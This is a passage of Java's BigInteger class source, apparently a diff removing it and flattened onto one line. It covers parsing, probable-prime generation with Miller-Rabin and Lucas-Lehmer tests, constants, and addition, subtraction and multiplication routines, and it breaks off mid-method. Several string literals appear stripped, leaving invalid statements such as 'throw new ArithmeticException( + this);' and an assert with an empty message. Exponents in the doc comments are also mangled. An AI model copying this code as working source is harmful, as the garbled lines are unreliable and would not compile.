Character#MIN_RADIX} to - * {@link Character#MAX_RADIX}, inclusive. - */ - public BigInteger(String val, int radix) { - int cursor = 0, numDigits; - final int len = val.length(); - - if (radix < Character.MIN_RADIX || radix > Character.MAX_RADIX) - throw new NumberFormatException(); - if (len == 0) - throw new NumberFormatException(); - - // Check for at most one leading sign - int sign = 1; - int index1 = val.lastIndexOf('-'); - int index2 = val.lastIndexOf('+'); - if (index1 >= 0) { - if (index1 != 0 || index2 >= 0) { - throw new NumberFormatException(); - } - sign = -1; - cursor = 1; - } else if (index2 >= 0) { - if (index2 != 0) { - throw new NumberFormatException(); - } - cursor = 1; - } - if (cursor == len) - throw new NumberFormatException(); - - // Skip leading zeros and compute number of digits in magnitude - while (cursor < len && - Character.digit(val.charAt(cursor), radix) == 0) { - cursor++; - } - - if (cursor == len) { - signum = 0; - mag = ZERO.mag; - return; - } - - numDigits = len - cursor; - signum = sign; - - // Pre-allocate array of expected size. May be too large but can - // never be too small. Typically exact. - long numBits = ((numDigits * bitsPerDigit[radix]) >>> 10) + 1; - if (numBits + 31 >= (1L << 32)) { - reportOverflow(); - } - int numWords = (int) (numBits + 31) >>> 5; - int[] magnitude = new int[numWords]; - - // Process first (potentially short) digit group - int firstGroupLen = numDigits % digitsPerInt[radix]; - if (firstGroupLen == 0) - firstGroupLen = digitsPerInt[radix]; - String group = val.substring(cursor, cursor += firstGroupLen); - magnitude[numWords - 1] = Integer.parseInt(group, radix); - if (magnitude[numWords - 1] < 0) - throw new NumberFormatException(); - - // Process remaining digit groups - int superRadix = intRadix[radix]; - int groupVal = 0; - while (cursor < len) { - group = val.substring(cursor, cursor += digitsPerInt[radix]); - groupVal = Integer.parseInt(group, radix); - if (groupVal < 0) - throw new NumberFormatException(); - destructiveMulAdd(magnitude, superRadix, groupVal); - } - // Required for cases where the array was overallocated. - mag = trustedStripLeadingZeroInts(magnitude); - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /* - * Constructs a new BigInteger using a char array with radix=10. - * Sign is precalculated outside and not allowed in the val. The {@code val} - * array is assumed to be unchanged for the duration of the constructor - * call. - */ - BigInteger(char[] val, int sign, int len) { - int cursor = 0, numDigits; - - // Skip leading zeros and compute number of digits in magnitude - while (cursor < len && Character.digit(val[cursor], 10) == 0) { - cursor++; - } - if (cursor == len) { - signum = 0; - mag = ZERO.mag; - return; - } - - numDigits = len - cursor; - signum = sign; - // Pre-allocate array of expected size - int numWords; - if (len < 10) { - numWords = 1; - } else { - long numBits = ((numDigits * bitsPerDigit[10]) >>> 10) + 1; - if (numBits + 31 >= (1L << 32)) { - reportOverflow(); - } - numWords = (int) (numBits + 31) >>> 5; - } - int[] magnitude = new int[numWords]; - - // Process first (potentially short) digit group - int firstGroupLen = numDigits % digitsPerInt[10]; - if (firstGroupLen == 0) - firstGroupLen = digitsPerInt[10]; - magnitude[numWords - 1] = parseInt(val, cursor, cursor += firstGroupLen); - - // Process remaining digit groups - while (cursor < len) { - int groupVal = parseInt(val, cursor, cursor += digitsPerInt[10]); - destructiveMulAdd(magnitude, intRadix[10], groupVal); - } - mag = trustedStripLeadingZeroInts(magnitude); - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - // Create an integer with the digits between the two indexes - // Assumes start < end. The result may be negative, but it - // is to be treated as an unsigned value. - private int parseInt(char[] source, int start, int end) { - int result = Character.digit(source[start++], 10); - if (result == -1) - throw new NumberFormatException(new String(source)); - - for (int index = start; index < end; index++) { - int nextVal = Character.digit(source[index], 10); - if (nextVal == -1) - throw new NumberFormatException(new String(source)); - result = 10*result + nextVal; - } - - return result; - } - - // bitsPerDigit in the given radix times 1024 - // Rounded up to avoid underallocation. - private static long bitsPerDigit[] = { 0, 0, - 1024, 1624, 2048, 2378, 2648, 2875, 3072, 3247, 3402, 3543, 3672, - 3790, 3899, 4001, 4096, 4186, 4271, 4350, 4426, 4498, 4567, 4633, - 4696, 4756, 4814, 4870, 4923, 4975, 5025, 5074, 5120, 5166, 5210, - 5253, 5295}; - - // Multiply x array times word y in place, and add word z - private static void destructiveMulAdd(int[] x, int y, int z) { - // Perform the multiplication word by word - long ylong = y & LONG_MASK; - long zlong = z & LONG_MASK; - int len = x.length; - - long product = 0; - long carry = 0; - for (int i = len-1; i >= 0; i--) { - product = ylong * (x[i] & LONG_MASK) + carry; - x[i] = (int)product; - carry = product >>> 32; - } - - // Perform the addition - long sum = (x[len-1] & LONG_MASK) + zlong; - x[len-1] = (int)sum; - carry = sum >>> 32; - for (int i = len-2; i >= 0; i--) { - sum = (x[i] & LONG_MASK) + carry; - x[i] = (int)sum; - carry = sum >>> 32; - } - } - - /** - * Translates the decimal String representation of a BigInteger - * into a BigInteger. The String representation consists of an - * optional minus or plus sign followed by a sequence of one or - * more decimal digits. The character-to-digit mapping is - * provided by {@link Character#digit(char, int) - * Character.digit}. The String may not contain any extraneous - * characters (whitespace, for example). - * - * @param val decimal String representation of BigInteger. - * @throws NumberFormatException {@code val} is not a valid representation - * of a BigInteger. - */ - public BigInteger(String val) { - this(val, 10); - } - - /** - * Constructs a randomly generated BigInteger, uniformly distributed over - * the range 0 to (2{@code numBits} - 1), inclusive. - * The uniformity of the distribution assumes that a fair source of random - * bits is provided in {@code rnd}. Note that this constructor always - * constructs a non-negative BigInteger. - * - * @param numBits maximum bitLength of the new BigInteger. - * @param rnd source of randomness to be used in computing the new - * BigInteger. - * @throws IllegalArgumentException {@code numBits} is negative. - * @see #bitLength() - */ - public BigInteger(int numBits, Random rnd) { - byte[] magnitude = randomBits(numBits, rnd); - - try { - // stripLeadingZeroBytes() returns a zero length array if len == 0 - this.mag = stripLeadingZeroBytes(magnitude, 0, magnitude.length); - - if (this.mag.length == 0) { - this.signum = 0; - } else { - this.signum = 1; - } - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } finally { - Arrays.fill(magnitude, (byte)0); - } - } - - private static byte[] randomBits(int numBits, Random rnd) { - if (numBits < 0) - throw new IllegalArgumentException(); - int numBytes = (int)(((long)numBits+7)/8); // avoid overflow - byte[] randomBits = new byte[numBytes]; - - // Generate random bytes and mask out any excess bits - if (numBytes > 0) { - rnd.nextBytes(randomBits); - int excessBits = 8*numBytes - numBits; - randomBits[0] &= (byte)((1 << (8-excessBits)) - 1); - } - return randomBits; - } - - /** - * Constructs a randomly generated positive BigInteger that is probably - * prime, with the specified bitLength. - * - * @apiNote It is recommended that the {@link #probablePrime probablePrime} - * method be used in preference to this constructor unless there - * is a compelling need to specify a certainty. - * - * @param bitLength bitLength of the returned BigInteger. - * @param certainty a measure of the uncertainty that the caller is - * willing to tolerate. The probability that the new BigInteger - * represents a prime number will exceed - * (1 - 1/2{@code certainty}). The execution time of - * this constructor is proportional to the value of this parameter. - * @param rnd source of random bits used to select candidates to be - * tested for primality. - * @throws ArithmeticException {@code bitLength < 2} or {@code bitLength} is too large. - * @see #bitLength() - */ - public BigInteger(int bitLength, int certainty, Random rnd) { - BigInteger prime; - - if (bitLength < 2) - throw new ArithmeticException(); - prime = (bitLength < SMALL_PRIME_THRESHOLD - ? smallPrime(bitLength, certainty, rnd) - : largePrime(bitLength, certainty, rnd)); - signum = 1; - mag = prime.mag; - } - - // Minimum size in bits that the requested prime number has - // before we use the large prime number generating algorithms. - // The cutoff of 95 was chosen empirically for best performance. - private static final int SMALL_PRIME_THRESHOLD = 95; - - // Certainty required to meet the spec of probablePrime - private static final int DEFAULT_PRIME_CERTAINTY = 100; - - /** - * Returns a positive BigInteger that is probably prime, with the - * specified bitLength. The probability that a BigInteger returned - * by this method is composite does not exceed 2-100. - * - * @param bitLength bitLength of the returned BigInteger. - * @param rnd source of random bits used to select candidates to be - * tested for primality. - * @return a BigInteger of {@code bitLength} bits that is probably prime - * @throws ArithmeticException {@code bitLength < 2} or {@code bitLength} is too large. - * @see #bitLength() - * @since 1.4 - */ - public static BigInteger probablePrime(int bitLength, Random rnd) { - if (bitLength < 2) - throw new ArithmeticException(); - - return (bitLength < SMALL_PRIME_THRESHOLD ? - smallPrime(bitLength, DEFAULT_PRIME_CERTAINTY, rnd) : - largePrime(bitLength, DEFAULT_PRIME_CERTAINTY, rnd)); - } - - /** - * Find a random number of the specified bitLength that is probably prime. - * This method is used for smaller primes, its performance degrades on - * larger bitlengths. - * - * This method assumes bitLength > 1. - */ - private static BigInteger smallPrime(int bitLength, int certainty, Random rnd) { - int magLen = (bitLength + 31) >>> 5; - int temp[] = new int[magLen]; - int highBit = 1 << ((bitLength+31) & 0x1f); // High bit of high int - int highMask = (highBit << 1) - 1; // Bits to keep in high int - - while (true) { - // Construct a candidate - for (int i=0; i < magLen; i++) - temp[i] = rnd.nextInt(); - temp[0] = (temp[0] & highMask) | highBit; // Ensure exact length - if (bitLength > 2) - temp[magLen-1] |= 1; // Make odd if bitlen > 2 - - BigInteger p = new BigInteger(temp, 1); - - // Do cheap if applicable - if (bitLength > 6) { - long r = p.remainder(SMALL_PRIME_PRODUCT).longValue(); - if ((r%3==0) || (r%5==0) || (r%7==0) || (r%11==0) || - (r%13==0) || (r%17==0) || (r%19==0) || (r%23==0) || - (r%29==0) || (r%31==0) || (r%37==0) || (r%41==0)) - continue; // Candidate is composite; try another - } - - // All candidates of bitLength 2 and 3 are prime by this point - if (bitLength < 4) - return p; - - // Do expensive test if we survive pre-test (or it's inapplicable) - if (p.primeToCertainty(certainty, rnd)) - return p; - } - } - - private static final BigInteger SMALL_PRIME_PRODUCT - = valueOf(3L*5*7*11*13*17*19*23*29*31*37*41); - - /** - * Find a random number of the specified bitLength that is probably prime. - * This method is more appropriate for larger bitlengths since it uses - * a sieve to eliminate most composites before using a more expensive - * test. - */ - private static BigInteger largePrime(int bitLength, int certainty, Random rnd) { - BigInteger p; - p = new BigInteger(bitLength, rnd).setBit(bitLength-1); - p.mag[p.mag.length-1] &= 0xfffffffe; - - // Use a sieve length likely to contain the next prime number - int searchLen = getPrimeSearchLen(bitLength); - BitSieve searchSieve = new BitSieve(p, searchLen); - BigInteger candidate = searchSieve.retrieve(p, certainty, rnd); - - while ((candidate == null) || (candidate.bitLength() != bitLength)) { - p = p.add(BigInteger.valueOf(2*searchLen)); - if (p.bitLength() != bitLength) - p = new BigInteger(bitLength, rnd).setBit(bitLength-1); - p.mag[p.mag.length-1] &= 0xfffffffe; - searchSieve = new BitSieve(p, searchLen); - candidate = searchSieve.retrieve(p, certainty, rnd); - } - return candidate; - } - - /** - * Returns the first integer greater than this {@code BigInteger} that - * is probably prime. The probability that the number returned by this - * method is composite does not exceed 2-100. This method will - * never skip over a prime when searching: if it returns {@code p}, there - * is no prime {@code q} such that {@code this < q < p}. - * - * @return the first integer greater than this {@code BigInteger} that - * is probably prime. - * @throws ArithmeticException {@code this < 0} or {@code this} is too large. - * @implNote Due to the nature of the underlying algorithm, - * and depending on the size of {@code this}, - * this method could consume a large amount of memory, up to - * exhaustion of available heap space, or could run for a long time. - * @since 1.5 - */ - public BigInteger nextProbablePrime() { - if (this.signum < 0) - throw new ArithmeticException( + this); - - // Handle trivial cases - if ((this.signum == 0) || this.equals(ONE)) - return TWO; - - BigInteger result = this.add(ONE); - - // Fastpath for small numbers - if (result.bitLength() < SMALL_PRIME_THRESHOLD) { - - // Ensure an odd number - if (!result.testBit(0)) - result = result.add(ONE); - - while (true) { - // Do cheap if applicable - if (result.bitLength() > 6) { - long r = result.remainder(SMALL_PRIME_PRODUCT).longValue(); - if ((r%3==0) || (r%5==0) || (r%7==0) || (r%11==0) || - (r%13==0) || (r%17==0) || (r%19==0) || (r%23==0) || - (r%29==0) || (r%31==0) || (r%37==0) || (r%41==0)) { - result = result.add(TWO); - continue; // Candidate is composite; try another - } - } - - // All candidates of bitLength 2 and 3 are prime by this point - if (result.bitLength() < 4) - return result; - - // The expensive test - if (result.primeToCertainty(DEFAULT_PRIME_CERTAINTY, null)) - return result; - - result = result.add(TWO); - } - } - - // Start at previous even number - if (result.testBit(0)) - result = result.subtract(ONE); - - // Looking for the next large prime - int searchLen = getPrimeSearchLen(result.bitLength()); - - while (true) { - BitSieve searchSieve = new BitSieve(result, searchLen); - BigInteger candidate = searchSieve.retrieve(result, - DEFAULT_PRIME_CERTAINTY, null); - if (candidate != null) - return candidate; - result = result.add(BigInteger.valueOf(2 * searchLen)); - } - } - - private static int getPrimeSearchLen(int bitLength) { - if (bitLength > PRIME_SEARCH_BIT_LENGTH_LIMIT + 1) { - throw new ArithmeticException(); - } - return bitLength / 20 * 64; - } - - /** - * Returns {@code true} if this BigInteger is probably prime, - * {@code false} if it's definitely composite. - * - * This method assumes bitLength > 2. - * - * @param certainty a measure of the uncertainty that the caller is - * willing to tolerate: if the call returns {@code true} - * the probability that this BigInteger is prime exceeds - * (1 - 1/2certainty). The execution time of - * this method is proportional to the value of this parameter. - * @return {@code true} if this BigInteger is probably prime, - * {@code false} if it's definitely composite. - */ - boolean primeToCertainty(int certainty, Random random) { - int rounds = 0; - int n = (Math.min(certainty, Integer.MAX_VALUE-1)+1)/2; - - // The relationship between the certainty and the number of rounds - // we perform is given in the draft standard ANSI X9.80, "PRIME - // NUMBER GENERATION, PRIMALITY TESTING, AND PRIMALITY CERTIFICATES". - int sizeInBits = this.bitLength(); - if (sizeInBits < 100) { - rounds = 50; - rounds = n < rounds ? n : rounds; - return passesMillerRabin(rounds, random); - } - - if (sizeInBits < 256) { - rounds = 27; - } else if (sizeInBits < 512) { - rounds = 15; - } else if (sizeInBits < 768) { - rounds = 8; - } else if (sizeInBits < 1024) { - rounds = 4; - } else { - rounds = 2; - } - rounds = n < rounds ? n : rounds; - - return passesMillerRabin(rounds, random) && passesLucasLehmer(); - } - - /** - * Returns true iff this BigInteger is a Lucas-Lehmer probable prime. - * - * The following assumptions are made: - * This BigInteger is a positive, odd number. - */ - private boolean passesLucasLehmer() { - BigInteger thisPlusOne = this.add(ONE); - - // Step 1 - int d = 5; - while (jacobiSymbol(d, this) != -1) { - // 5, -7, 9, -11, ... - d = (d < 0) ? Math.abs(d)+2 : -(d+2); - } - - // Step 2 - BigInteger u = lucasLehmerSequence(d, thisPlusOne, this); - - // Step 3 - return u.mod(this).equals(ZERO); - } - - /** - * Computes Jacobi(p,n). - * Assumes n positive, odd, n>=3. - */ - private static int jacobiSymbol(int p, BigInteger n) { - if (p == 0) - return 0; - - // Algorithm and comments adapted from Colin Plumb's C library. - int j = 1; - int u = n.mag[n.mag.length-1]; - - // Make p positive - if (p < 0) { - p = -p; - int n8 = u & 7; - if ((n8 == 3) || (n8 == 7)) - j = -j; // 3 (011) or 7 (111) mod 8 - } - - // Get rid of factors of 2 in p - while ((p & 3) == 0) - p >>= 2; - if ((p & 1) == 0) { - p >>= 1; - if (((u ^ (u>>1)) & 2) != 0) - j = -j; // 3 (011) or 5 (101) mod 8 - } - if (p == 1) - return j; - // Then, apply quadratic reciprocity - if ((p & u & 2) != 0) // p = u = 3 (mod 4)? - j = -j; - // And reduce u mod p - u = n.mod(BigInteger.valueOf(p)).intValue(); - - // Now compute Jacobi(u,p), u < p - while (u != 0) { - while ((u & 3) == 0) - u >>= 2; - if ((u & 1) == 0) { - u >>= 1; - if (((p ^ (p>>1)) & 2) != 0) - j = -j; // 3 (011) or 5 (101) mod 8 - } - if (u == 1) - return j; - // Now both u and p are odd, so use quadratic reciprocity - assert (u < p); - int t = u; u = p; p = t; - if ((u & p & 2) != 0) // u = p = 3 (mod 4)? - j = -j; - // Now u >= p, so it can be reduced - u %= p; - } - return 0; - } - - private static BigInteger lucasLehmerSequence(int z, BigInteger k, BigInteger n) { - BigInteger d = BigInteger.valueOf(z); - BigInteger u = ONE; BigInteger u2; - BigInteger v = ONE; BigInteger v2; - - for (int i=k.bitLength()-2; i >= 0; i--) { - u2 = u.multiply(v).mod(n); - - v2 = v.square().add(d.multiply(u.square())).mod(n); - if (v2.testBit(0)) - v2 = v2.subtract(n); - - v2 = v2.shiftRight(1); - - u = u2; v = v2; - if (k.testBit(i)) { - u2 = u.add(v).mod(n); - if (u2.testBit(0)) - u2 = u2.subtract(n); - - u2 = u2.shiftRight(1); - v2 = v.add(d.multiply(u)).mod(n); - if (v2.testBit(0)) - v2 = v2.subtract(n); - v2 = v2.shiftRight(1); - - u = u2; v = v2; - } - } - return u; - } - - /** - * Returns true iff this BigInteger passes the specified number of - * Miller-Rabin tests. This test is taken from the DSA spec (NIST FIPS - * 186-2). - * - * The following assumptions are made: - * This BigInteger is a positive, odd number greater than 2. - * iterations<=50. - */ - private boolean passesMillerRabin(int iterations, Random rnd) { - // Find a and m such that m is odd and this == 1 + 2**a * m - BigInteger thisMinusOne = this.subtract(ONE); - BigInteger m = thisMinusOne; - int a = m.getLowestSetBit(); - m = m.shiftRight(a); - - // Do the tests - if (rnd == null) { - rnd = ThreadLocalRandom.current(); - } - for (int i=0; i < iterations; i++) { - // Generate a uniform random on (1, this) - BigInteger b; - do { - b = new BigInteger(this.bitLength(), rnd); - } while (b.compareTo(ONE) <= 0 || b.compareTo(this) >= 0); - - int j = 0; - BigInteger z = b.modPow(m, this); - while (!((j == 0 && z.equals(ONE)) || z.equals(thisMinusOne))) { - if (j > 0 && z.equals(ONE) || ++j == a) - return false; - z = z.modPow(TWO, this); - } - } - return true; - } - - /** - * This internal constructor differs from its public cousin - * with the arguments reversed in two ways: it assumes that its - * arguments are correct, and it doesn't copy the magnitude array. - */ - BigInteger(int[] magnitude, int signum) { - this.signum = (magnitude.length == 0 ? 0 : signum); - this.mag = magnitude; - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /** - * This private constructor is for internal use and assumes that its - * arguments are correct. The {@code magnitude} array is assumed to be - * unchanged for the duration of the constructor call. - */ - private BigInteger(byte[] magnitude, int signum) { - this.signum = (magnitude.length == 0 ? 0 : signum); - this.mag = stripLeadingZeroBytes(magnitude, 0, magnitude.length); - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /** - * Throws an {@code ArithmeticException} if the {@code BigInteger} would be - * out of the supported range. - * - * @throws ArithmeticException if {@code this} exceeds the supported range. - */ - private void checkRange() { - if (mag.length > MAX_MAG_LENGTH || mag.length == MAX_MAG_LENGTH && mag[0] < 0) { - reportOverflow(); - } - } - - private static void reportOverflow() { - throw new ArithmeticException(); - } - - //Static Factory Methods - - /** - * Returns a BigInteger whose value is equal to that of the - * specified {@code long}. - * - * @apiNote This static factory method is provided in preference - * to a ({@code long}) constructor because it allows for reuse of - * frequently used BigIntegers. - * - * @param val value of the BigInteger to return. - * @return a BigInteger with the specified value. - */ - public static BigInteger valueOf(long val) { - // If -MAX_CONSTANT < val < MAX_CONSTANT, return stashed constant - if (val == 0) - return ZERO; - if (val > 0 && val <= MAX_CONSTANT) - return posConst[(int) val]; - else if (val < 0 && val >= -MAX_CONSTANT) - return negConst[(int) -val]; - - return new BigInteger(val); - } - - /** - * Constructs a BigInteger with the specified value, which may not be zero. - */ - private BigInteger(long val) { - if (val < 0) { - val = -val; - signum = -1; - } else { - signum = 1; - } - - int highWord = (int)(val >>> 32); - if (highWord == 0) { - mag = new int[1]; - mag[0] = (int)val; - } else { - mag = new int[2]; - mag[0] = highWord; - mag[1] = (int)val; - } - } - - /** - * Returns a BigInteger with the given two's complement representation. - * Assumes that the input array will not be modified (the returned - * BigInteger will reference the input array if feasible). - */ - private static BigInteger valueOf(int[] val) { - return (val[0] > 0 ? new BigInteger(val, 1) : new BigInteger(val)); - } - - // Constants - - /** - * Initialize static constant array when class is loaded. - */ - private static final int MAX_CONSTANT = 16; - @Stable - private static final BigInteger[] posConst = new BigInteger[MAX_CONSTANT+1]; - @Stable - private static final BigInteger[] negConst = new BigInteger[MAX_CONSTANT+1]; - - /** - * The cache of powers of each radix. This allows us to not have to - * recalculate powers of radix^(2^n) more than once. This speeds - * Schoenhage recursive base conversion significantly. - */ - private static volatile BigInteger[][] powerCache; - - /** The cache of logarithms of radices for base conversion. */ - private static final double[] logCache; - - /** The natural log of 2. This is used in computing cache indices. */ - private static final double LOG_TWO = Math.log(2.0); - - static { - assert 0 < KARATSUBA_THRESHOLD - && KARATSUBA_THRESHOLD < TOOM_COOK_THRESHOLD - && TOOM_COOK_THRESHOLD < Integer.MAX_VALUE - && 0 < KARATSUBA_SQUARE_THRESHOLD - && KARATSUBA_SQUARE_THRESHOLD < TOOM_COOK_SQUARE_THRESHOLD - && TOOM_COOK_SQUARE_THRESHOLD < Integer.MAX_VALUE : - ; - - for (int i = 1; i <= MAX_CONSTANT; i++) { - int[] magnitude = new int[1]; - magnitude[0] = i; - posConst[i] = new BigInteger(magnitude, 1); - negConst[i] = new BigInteger(magnitude, -1); - } - - /* - * Initialize the cache of radix^(2^x) values used for base conversion - * with just the very first value. Additional values will be created - * on demand. - */ - BigInteger[][] cache = new BigInteger[Character.MAX_RADIX+1][]; - logCache = new double[Character.MAX_RADIX+1]; - - for (int i=Character.MIN_RADIX; i <= Character.MAX_RADIX; i++) { - cache[i] = new BigInteger[] { BigInteger.valueOf(i) }; - logCache[i] = Math.log(i); - } - BigInteger.powerCache = cache; - } - - /** - * The BigInteger constant zero. - * - * @since 1.2 - */ - public static final BigInteger ZERO = new BigInteger(new int[0], 0); - - /** - * The BigInteger constant one. - * - * @since 1.2 - */ - public static final BigInteger ONE = valueOf(1); - - /** - * The BigInteger constant two. - * - * @since 9 - */ - public static final BigInteger TWO = valueOf(2); - - /** - * The BigInteger constant -1. (Not exported.) - */ - private static final BigInteger NEGATIVE_ONE = valueOf(-1); - - /** - * The BigInteger constant ten. - * - * @since 1.5 - */ - public static final BigInteger TEN = valueOf(10); - - // Arithmetic Operations - - /** - * Returns a BigInteger whose value is {@code (this + val)}. - * - * @param val value to be added to this BigInteger. - * @return {@code this + val} - */ - public BigInteger add(BigInteger val) { - if (val.signum == 0) - return this; - if (signum == 0) - return val; - if (val.signum == signum) - return new BigInteger(add(mag, val.mag), signum); - - int cmp = compareMagnitude(val); - if (cmp == 0) - return ZERO; - int[] resultMag = (cmp > 0 ? subtract(mag, val.mag) - : subtract(val.mag, mag)); - resultMag = trustedStripLeadingZeroInts(resultMag); - - return new BigInteger(resultMag, cmp == signum ? 1 : -1); - } - - /** - * Package private methods used by BigDecimal code to add a BigInteger - * with a long. Assumes val is not equal to INFLATED. - */ - BigInteger add(long val) { - if (val == 0) - return this; - if (signum == 0) - return valueOf(val); - if (Long.signum(val) == signum) - return new BigInteger(add(mag, Math.abs(val)), signum); - int cmp = compareMagnitude(val); - if (cmp == 0) - return ZERO; - int[] resultMag = (cmp > 0 ? subtract(mag, Math.abs(val)) : subtract(Math.abs(val), mag)); - resultMag = trustedStripLeadingZeroInts(resultMag); - return new BigInteger(resultMag, cmp == signum ? 1 : -1); - } - - /** - * Adds the contents of the int array x and long value val. This - * method allocates a new int array to hold the answer and returns - * a reference to that array. Assumes x.length > 0 and val is - * non-negative - */ - private static int[] add(int[] x, long val) { - int[] y; - long sum = 0; - int xIndex = x.length; - int[] result; - int highWord = (int)(val >>> 32); - if (highWord == 0) { - result = new int[xIndex]; - sum = (x[--xIndex] & LONG_MASK) + val; - result[xIndex] = (int)sum; - } else { - if (xIndex == 1) { - result = new int[2]; - sum = val + (x[0] & LONG_MASK); - result[1] = (int)sum; - result[0] = (int)(sum >>> 32); - return result; - } else { - result = new int[xIndex]; - sum = (x[--xIndex] & LONG_MASK) + (val & LONG_MASK); - result[xIndex] = (int)sum; - sum = (x[--xIndex] & LONG_MASK) + (highWord & LONG_MASK) + (sum >>> 32); - result[xIndex] = (int)sum; - } - } - // Copy remainder of longer number while carry propagation is required - boolean carry = (sum >>> 32 != 0); - while (xIndex > 0 && carry) - carry = ((result[--xIndex] = x[xIndex] + 1) == 0); - // Copy remainder of longer number - while (xIndex > 0) - result[--xIndex] = x[xIndex]; - // Grow result if necessary - if (carry) { - int bigger[] = new int[result.length + 1]; - System.arraycopy(result, 0, bigger, 1, result.length); - bigger[0] = 0x01; - return bigger; - } - return result; - } - - /** - * Adds the contents of the int arrays x and y. This method allocates - * a new int array to hold the answer and returns a reference to that - * array. - */ - private static int[] add(int[] x, int[] y) { - // If x is shorter, swap the two arrays - if (x.length < y.length) { - int[] tmp = x; - x = y; - y = tmp; - } - - int xIndex = x.length; - int yIndex = y.length; - int result[] = new int[xIndex]; - long sum = 0; - if (yIndex == 1) { - sum = (x[--xIndex] & LONG_MASK) + (y[0] & LONG_MASK) ; - result[xIndex] = (int)sum; - } else { - // Add common parts of both numbers - while (yIndex > 0) { - sum = (x[--xIndex] & LONG_MASK) + - (y[--yIndex] & LONG_MASK) + (sum >>> 32); - result[xIndex] = (int)sum; - } - } - // Copy remainder of longer number while carry propagation is required - boolean carry = (sum >>> 32 != 0); - while (xIndex > 0 && carry) - carry = ((result[--xIndex] = x[xIndex] + 1) == 0); - - // Copy remainder of longer number - while (xIndex > 0) - result[--xIndex] = x[xIndex]; - - // Grow result if necessary - if (carry) { - int bigger[] = new int[result.length + 1]; - System.arraycopy(result, 0, bigger, 1, result.length); - bigger[0] = 0x01; - return bigger; - } - return result; - } - - private static int[] subtract(long val, int[] little) { - int highWord = (int)(val >>> 32); - if (highWord == 0) { - int result[] = new int[1]; - result[0] = (int)(val - (little[0] & LONG_MASK)); - return result; - } else { - int result[] = new int[2]; - if (little.length == 1) { - long difference = ((int)val & LONG_MASK) - (little[0] & LONG_MASK); - result[1] = (int)difference; - // Subtract remainder of longer number while borrow propagates - boolean borrow = (difference >> 32 != 0); - if (borrow) { - result[0] = highWord - 1; - } else { // Copy remainder of longer number - result[0] = highWord; - } - return result; - } else { // little.length == 2 - long difference = ((int)val & LONG_MASK) - (little[1] & LONG_MASK); - result[1] = (int)difference; - difference = (highWord & LONG_MASK) - (little[0] & LONG_MASK) + (difference >> 32); - result[0] = (int)difference; - return result; - } - } - } - - /** - * Subtracts the contents of the second argument (val) from the - * first (big). The first int array (big) must represent a larger number - * than the second. This method allocates the space necessary to hold the - * answer. - * assumes val >= 0 - */ - private static int[] subtract(int[] big, long val) { - int highWord = (int)(val >>> 32); - int bigIndex = big.length; - int result[] = new int[bigIndex]; - long difference = 0; - - if (highWord == 0) { - difference = (big[--bigIndex] & LONG_MASK) - val; - result[bigIndex] = (int)difference; - } else { - difference = (big[--bigIndex] & LONG_MASK) - (val & LONG_MASK); - result[bigIndex] = (int)difference; - difference = (big[--bigIndex] & LONG_MASK) - (highWord & LONG_MASK) + (difference >> 32); - result[bigIndex] = (int)difference; - } - - // Subtract remainder of longer number while borrow propagates - boolean borrow = (difference >> 32 != 0); - while (bigIndex > 0 && borrow) - borrow = ((result[--bigIndex] = big[bigIndex] - 1) == -1); - - // Copy remainder of longer number - while (bigIndex > 0) - result[--bigIndex] = big[bigIndex]; - - return result; - } - - /** - * Returns a BigInteger whose value is {@code (this - val)}. - * - * @param val value to be subtracted from this BigInteger. - * @return {@code this - val} - */ - public BigInteger subtract(BigInteger val) { - if (val.signum == 0) - return this; - if (signum == 0) - return val.negate(); - if (val.signum != signum) - return new BigInteger(add(mag, val.mag), signum); - - int cmp = compareMagnitude(val); - if (cmp == 0) - return ZERO; - int[] resultMag = (cmp > 0 ? subtract(mag, val.mag) - : subtract(val.mag, mag)); - resultMag = trustedStripLeadingZeroInts(resultMag); - return new BigInteger(resultMag, cmp == signum ? 1 : -1); - } - - /** - * Subtracts the contents of the second int arrays (little) from the - * first (big). The first int array (big) must represent a larger number - * than the second. This method allocates the space necessary to hold the - * answer. - */ - private static int[] subtract(int[] big, int[] little) { - int bigIndex = big.length; - int result[] = new int[bigIndex]; - int littleIndex = little.length; - long difference = 0; - - // Subtract common parts of both numbers - while (littleIndex > 0) { - difference = (big[--bigIndex] & LONG_MASK) - - (little[--littleIndex] & LONG_MASK) + - (difference >> 32); - result[bigIndex] = (int)difference; - } - - // Subtract remainder of longer number while borrow propagates - boolean borrow = (difference >> 32 != 0); - while (bigIndex > 0 && borrow) - borrow = ((result[--bigIndex] = big[bigIndex] - 1) == -1); - - // Copy remainder of longer number - while (bigIndex > 0) - result[--bigIndex] = big[bigIndex]; - - return result; - } - - /** - * Returns a BigInteger whose value is {@code (this * val)}. - * - * @implNote An implementation may offer better algorithmic - * performance when {@code val == this}. - * - * @param val value to be multiplied by this BigInteger. - * @return {@code this * val} - */ - public BigInteger multiply(BigInteger val) { - return multiply(val, false, false, 0); - } - - /** - * Returns a BigInteger whose value is {@code (this * val)}. - * When both {@code this} and {@code val} are large, typically - * in the thousands of bits, parallel multiply might be used. - * This method returns the exact same mathematical result as - * {@link #multiply}. - * - * @implNote This implementation may offer better algorithmic - * performance when {@code val == this}. - * - * @implNote Compared to {@link #multiply}, an implementation's - * parallel multiplication algorithm would typically use more - * CPU resources to compute the result faster, and may do so - * with a slight increase in memory consumption. - * - * @param val value to be multiplied by this BigInteger. - * @return {@code this * val} - * @see #multiply - * @since 19 - */ - public BigInteger parallelMultiply(BigInteger val) { - return multiply(val, false, true, 0); - } - - /** - * Returns a BigInteger whose value is {@code (this * val)}. If - * the invocation is recursive certain overflow checks are skipped. - * - * @param val value to be multiplied by this BigInteger. - * @param isRecursion whether this is a recursive invocation - * @param parallel whether the multiply should be done in parallel - * @return {@code this * val} - */ - private BigInteger multiply(BigInteger val, boolean isRecursion, boolean parallel, int depth) { - if (val.signum == 0 || signum == 0) - return ZERO; - - int xlen = mag.length; - - if (val == this && xlen > MULTIPLY_SQUARE_THRESHOLD) { - return square(true, parallel, depth); - } - - int ylen = val.mag.length; - - if ((xlen < KARATSUBA_THRESHOLD) || (ylen < KARATSUBA_THRESHOLD)) { - int resultSign = signum == val.signum ? 1 : -1; - if (val.mag.length == 1) { - return multiplyByInt(mag,val.mag[0], resultSign); - } - if (mag.length == 1) { - return multiplyByInt(val.mag,mag[0], resultSign); - } 